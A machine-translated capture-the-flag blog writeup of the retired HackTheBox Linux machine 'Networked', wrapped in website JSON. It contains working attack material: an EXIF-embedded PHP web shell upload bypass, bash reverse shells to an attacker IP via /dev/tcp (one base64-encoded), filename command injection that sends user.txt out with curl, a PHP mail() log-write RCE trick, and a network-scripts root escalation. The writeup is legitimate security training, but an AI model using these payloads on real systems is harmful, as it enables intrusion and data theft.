{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-linux-networked-en","result":{"data":{"markdownRemark":{"id":"0cf9d9ff-7583-538b-9150-a635f18b058d","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I am studying security using “Hack The Box,” a penetration testing learning platform.\nMy Hack The Box rank at the time of writing is ProHacker.

\n\n \n \n \n \n \n \"Hack\n \n \n \n

This is a writeup for the retired HackTheBox machine “Networked.”

\n\n

About This Article

\n

The content of this article is not intended to promote acts that violate social order.

\n

Please be aware in advance that attempting to attack environments other than your own or environments for which you have permission may violate the “Act on Prohibition of Unauthorized Computer Access” (Unauthorized Access Prohibition Act).

\n

All opinions expressed are my own and do not represent those of any organization I belong to.

\n\n

Table of Contents

\n\n

Enumeration

\n

I start with a port scan.

\n

Port 80 is open.

\n
$ nmap -sV -sC -T4 $RHOST| tee nmap1.txt\n\nPORT    STATE  SERVICE VERSION\n22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)\n| ssh-hostkey: \n|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)\n|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)\n|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)\n80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)\n|_http-title: Site doesn't have a title (text/html; charset=UTF-8).\n|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16\n443/tcp closed https
\n

Next, I open the machine’s address in a browser.

\n

\n \n \n \n \n \n \n \n \n

\n

I ran an automatic scan with OWASP ZAP but nothing of note came up.

\n

\n \n \n \n \n \n \n \n \n

\n

So I use gobuster for directory enumeration.

\n
$ gobuster dir -u http://$RHOST/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 40 | tee gobuster1.txt\n\n/uploads              (Status: 301) [Size: 238] [--> http://$RHOST/uploads/]\n/backup               (Status: 301) [Size: 237] [--> http://$RHOST/backup/]
\n

A path called backup is found, and from here I can retrieve the PHP scripts running on the server.

\n

\n \n \n \n \n \n \n \n \n

\n
$ tar -xvf backup.tar \nindex.php\nlib.php\nphotos.php\nupload.php
\n

Analyzing the PHP Files

\n

Among the downloaded files, I look at upload.php.

\n
# upload.php\n<?php\nrequire '/var/www/html/lib.php';\n\ndefine(\"UPLOAD_DIR\", \"/var/www/html/uploads/\");\n\nif( isset($_POST['submit']) ) {\n  if (!empty($_FILES[\"myFile\"])) {\n    $myFile = $_FILES[\"myFile\"];\n\n    if (!(check_file_type($_FILES[\"myFile\"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {\n      echo '<pre>Invalid image file.</pre>';\n      displayform();\n    }\n\n    if ($myFile[\"error\"] !== UPLOAD_ERR_OK) {\n        echo \"<p>An error occurred.</p>\";\n        displayform();\n        exit;\n    }\n\n    //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile[\"name\"];\n    list ($foo,$ext) = getnameUpload($myFile[\"name\"]);\n    $validext = array('.jpg', '.png', '.gif', '.jpeg');\n    $valid = false;\n    foreach ($validext as $vext) {\n      if (substr_compare($myFile[\"name\"], $vext, -strlen($vext)) === 0) {\n        $valid = true;\n      }\n    }\n\n    if (!($valid)) {\n      echo \"<p>Invalid image file</p>\";\n      displayform();\n      exit;\n    }\n    $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;\n\n    $success = move_uploaded_file($myFile[\"tmp_name\"], UPLOAD_DIR . $name);\n    if (!$success) {\n        echo \"<p>Unable to save file.</p>\";\n        exit;\n    }\n    echo \"<p>file uploaded, refresh gallery</p>\";\n\n    // set proper permissions on the new file\n    chmod(UPLOAD_DIR . $name, 0644);\n  }\n} else {\n  displayform();\n}\n?>
\n

This appears to be an application that allows image file uploads.

\n

Ultimately, I want to upload a PHP file that can give me a reverse shell, but I need to bypass the following conditions:

\n\n
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;\n$success = move_uploaded_file($myFile[\"tmp_name\"], UPLOAD_DIR . $name)\nchmod(UPLOAD_DIR . $name, 0644);
\n

I’ll work on bypassing these.

\n
function file_mime_type($file) {\n  $regexp = '/^([a-z\\-]+\\/[a-z0-9\\-\\.\\+]+)(;\\s.+)?$/';\n  if (function_exists('finfo_file')) {\n    $finfo = finfo_open(FILEINFO_MIME);\n    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system\n    {\n      $mime = @finfo_file($finfo, $file['tmp_name']);\n      finfo_close($finfo);\n      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {\n        $file_type = $matches[1];\n        return $file_type;\n      }\n    }\n  }\n  if (function_exists('mime_content_type'))\n  {\n    $file_type = @mime_content_type($file['tmp_name']);\n    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string\n    {\n      return $file_type;\n    }\n  }\n  return $file['type'];\n}\n\nfunction check_file_type($file) {\n  $mime_type = file_mime_type($file);\n  if (strpos($mime_type, 'image/') === 0) {\n      return true;\n  } else {\n      return false;\n  }  \n}
\n

Actually running it helps understand the behavior.

\n
php -S 127.0.0.1:8080
\n

Embedding a PHP Script in an Image File Using exiftool

\n

I found that to upload the script, I first need to bypass the MIME type check here:

\n
$mime_type = file_mime_type($file);\nif (strpos($mime_type, 'image/') === 0)
\n

I embedded a command using the following:

\n
# For testing\nexiftool -documentname='<?php echo \"foobarbaz\"; ?>' test.jpg\nmv test.jpg test.php.jpg\n\nexiftool -documentname='<?php system($_GET['cmd']); ?>' test.jpg\nmv test.jpg test.php.jpg\n\n###############\n$ file test.php.jpg \ntest.php.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: \"<?php system(['cmd']); ?>\", baseline, precision 8, 1x30, components 3
\n

Reference: Bypass File Upload Filtering · Total OSCP Guide

\n

Reference: File Upload - HackTricks

\n

After uploading this file, I can get a reverse shell by connecting to the server with the following query:

\n
curl -G --data-urlencode \"cmd=bash -c '/bin/bash -l > /dev/tcp/10.10.14.2/4444 0<&1 2>&1'\" http://10.10.10.146/uploads/10_10_14_2.php.jpg | cat
\n

However, since the web server user privileges don’t allow me to access the flag, I need to continue enumerating internally.

\n
$ whoami\napache\n\n$ ls /home/guly\ncheck_attack.php\ncrontab.guly\nuser.txt\n\n$ cat user.txt\ncat: user.txt: Permission denied
\n

By the way, after checking a writeup, it seems RCE is also possible without embedding into exif data:

\n
oot@kali:~/Desktop/HTB/boxes/networked# cp original.png ./test.png\nroot@kali:~/Desktop/HTB/boxes/networked# echo '<?php' >> test.png\nroot@kali:~/Desktop/HTB/boxes/networked# echo 'passthru(\"whoami\");' >> test.png\nroot@kali:~/Desktop/HTB/boxes/networked# echo '?>' >> test.png\nroot@kali:~/Desktop/HTB/boxes/networked# mv test.png test.php.png
\n

Obtaining User Privileges

\n

Exploring internally, I found check_attack.php and a crontab running with user privileges.

\n

The following cron runs check_attack.php with guly’s privileges every 3 minutes:

\n
$ cat crontab.guly\n*/3 * * * * php /home/guly/check_attack.php
\n

Since this script runs as the user via cron, I might be able to get a shell if I can achieve RCE through it.

\n
# check_attack.php\n<?php\nrequire '/var/www/html/lib.php';\n$path = '/var/www/html/uploads/';\n$logpath = '/tmp/attack.log';\n$to = 'guly';\n$msg= '';\n$headers = \"X-Mailer: check_attack.php\\r\\n\";\n\n$files = array();\n$files = preg_grep('/^([^.])/', scandir($path));\n\nforeach ($files as $key => $value) {\n        $msg='';\n  if ($value == 'index.html') {\n        continue;\n  }\n  #echo \"-------------\\n\";\n\n  #print \"check: $value\\n\";\n  list ($name,$ext) = getnameCheck($value);\n  $check = check_ip($name,$value);\n\n  if (!($check[0])) {\n    echo \"attack!\\n\";\n    # todo: attach file\n    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);\n\n    exec(\"rm -f $logpath\");\n    exec(\"nohup /bin/rm -f $path$value > /dev/null 2>&1 &\");\n    echo \"rm -f $path$value\\n\";\n    mail($to, $msg, $msg, $headers, \"-F$value\");\n  }\n}\n\n?>
\n

The code roughly performs the following:

\n
    \n
  1. Split the uploaded file into its extension and filename
    2. \n
  2. Check whether the filename matches the format of an IP address
    3. \n
  3. If the filename is malformed, log it and send an email via the mail function
    4. \n
\n

Here is the relevant code collected:

\n
function getnameCheck($filename) {\n  $pieces = explode('.',$filename);\n  $name= array_shift($pieces);\n  $name = str_replace('_','.',$name);\n  $ext = implode('.',$pieces);\n  #echo \"name $name - ext $ext\\n\";\n  return array($name,$ext);\n}\n\nfunction check_ip($prefix,$filename) {\n  //echo \"prefix: $prefix - fname: $filename<br>\\n\";\n  $ret = true;\n  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {\n    $ret = false;\n    $msg = \"4tt4ck on file \".$filename.\": prefix is not a valid ip \";\n  } else {\n    $msg = $filename;\n  }\n  return array($ret,$msg);\n}
\n
list ($name,$ext) = getnameCheck($value);\n$check = check_ip($name,$value);\nif (!($check[0])) {\n  echo \"attack!\\n\";\n  # todo: attach file\n  file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);\n\n  exec(\"rm -f $logpath\");\n  exec(\"nohup /bin/rm -f $path$value > /dev/null 2>&1 &\");\n  echo \"rm -f $path$value\\n\";\n  mail($to, $msg, $msg, $headers, \"-F$value\");\n}
\n

Reference: PHP Function - Write String to File - fileputcontents() - PHP Beginner’s Guide Karma

\n

Reference: PHP: mail - Manual

\n

Reference: PHP Tryit Editor v1.2

\n

Here, if we can control the 5th argument of PHP’s mail function, we might be able to get a reverse shell via RCE.

\n

Using the -X option in the 5th argument of mail allows writing logs to an arbitrary file, so it’s possible to achieve RCE by injecting a script into something like /var/www/html/rce.php.

\n
$to = 'a@b.c';\n$subject = '<?php system($_GET[\"cmd\"]); ?>';\n$message = '';\n$headers = '';\n$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';\nmail($to, $subject, $message, $headers, $options);
\n

Reference: Exploit PHP’s mail() to get remote code execution - Sysadmins of the North

\n

However, the method in the above article doesn’t seem to give a guly shell, so another approach is needed to execute commands from within check_attack.php.

\n

I searched for mail function vulnerabilities for a while but couldn’t find a way to execute commands from check_attack.php.

\n

Shifting perspective to look a few lines earlier, I noticed a line that directly embeds $path$value into the exec function.

\n

Since $value can be freely overwritten via the filename, this line appears to have a command injection vulnerability.

\n
exec(\"rm -f $logpath\");\nexec(\"nohup /bin/rm -f $path$value > /dev/null 2>&1 &\");\necho \"rm -f $path$value\\n\";
\n

So I tested it.

\n

On my local machine, I listen for ICMP:

\n
sudo tcpdump -i tun0 icmp
\n

Then on the remote server, I ran the following command, waited 3 minutes, and confirmed that command injection succeeded:

\n
touch \"test.php && ping 10.10.14.2\"
\n

Now I steal user.txt.

\n

By creating the following file, I can send a GET request to my own server with the contents of user.txt as a query parameter, and retrieve the flag:

\n
touch \"test.php && curl 10.10.14.2?flag=\\`cat user.txt\\`\"
\n

Since Linux filenames cannot contain /, this roundabout command is necessary.

\n

Getting a User-Level Shell

\n

Next I want to get root, but first I’ll secure a user-level shell.

\n

Although slashes cannot be used in filenames, I work around this with Base64.

\n
echo \"bash -c '/bin/bash -l > /dev/tcp/10.10.14.2/9999 0<&1 2>&1'\" | base64\n# YmFzaCAtYyAnL2Jpbi9iYXNoIC1sID4gL2Rldi90Y3AvMTAuMTAuMTQuMi85OTk5IDA8JjEgMj4mMScK\n\ntouch \"test.php && echo YmFzaCAtYyAnL2Jpbi9iYXNoIC1sID4gL2Rldi90Y3AvMTAuMTAuMTQuMi85OTk5IDA8JjEgMj4mMScK | base64 -d > rev.sh && bash rev.sh\"
\n

By embedding Base64-encoded commands this way, arbitrary code can be executed without using slashes.

\n

\n \n \n \n \n \n \n \n \n

\n

Checking sudo privileges, there is an obvious file changename.sh.

\n
$ sudo -l\nMatching Defaults entries for guly on networked:\n    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,\n    env_reset, env_keep=\"COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS\",\n    env_keep+=\"MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\",\n    env_keep+=\"LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\",\n    env_keep+=\"LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\",\n    env_keep+=\"LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\",\n    secure_path=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin\n\nUser guly may run the following commands on networked:\n    (root) NOPASSWD: /usr/local/sbin/changename.sh
\n

Looking at its contents, it appears to be a script that creates the network script ifcfg-guly.

\n
# changename.sh\n#!/bin/bash -p\ncat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF\nDEVICE=guly0\nONBOOT=no\nNM_CONTROLLED=no\nEoF\n\nregexp=\"^[a-zA-Z0-9_\\ /-]+$\"\n\nfor var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do\n        echo \"interface $var:\"\n        read x\n        while [[ ! $x =~ $regexp ]]; do\n                echo \"wrong input, try again\"\n                echo \"interface $var:\"\n                read x\n        done\n        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly\ndone\n/sbin/ifup guly0
\n

Since network scripts can have commands embedded directly, embedding bash or similar will launch a shell with root privileges, allowing me to obtain the flag.

\n
[guly@networked .ssh]$ sudo /usr/local/sbin/changename.sh\nsudo /usr/local/sbin/changename.sh\ninterface NAME:\nbash\n///\n[root@networked network-scripts]# cd /root
\n

Reference: Redhat/CentOS root through network-scripts - Exploit

\n

Summary

\n

I finally got back to solving machines after a while.

\n

I plan to keep going at a steady pace.

","fields":{"slug":"/hackthebox-linux-networked-en","tagSlugs":["/tag/hack-the-box-en/","/tag/linux-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2022-05-25","description":"A writeup of the retired HackTheBox machine 'Networked'.","tags":["HackTheBox (en)","Linux (en)","EasyBox (en)","English"],"title":"HackTheBox Writeup: Networked (Easy/Linux)","socialImage":{"publicURL":"/static/9ee14b399a3899c36af904fbeee16cdb/hackthebox-linux-networked.png"}}}},"pageContext":{"slug":"/hackthebox-linux-networked-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}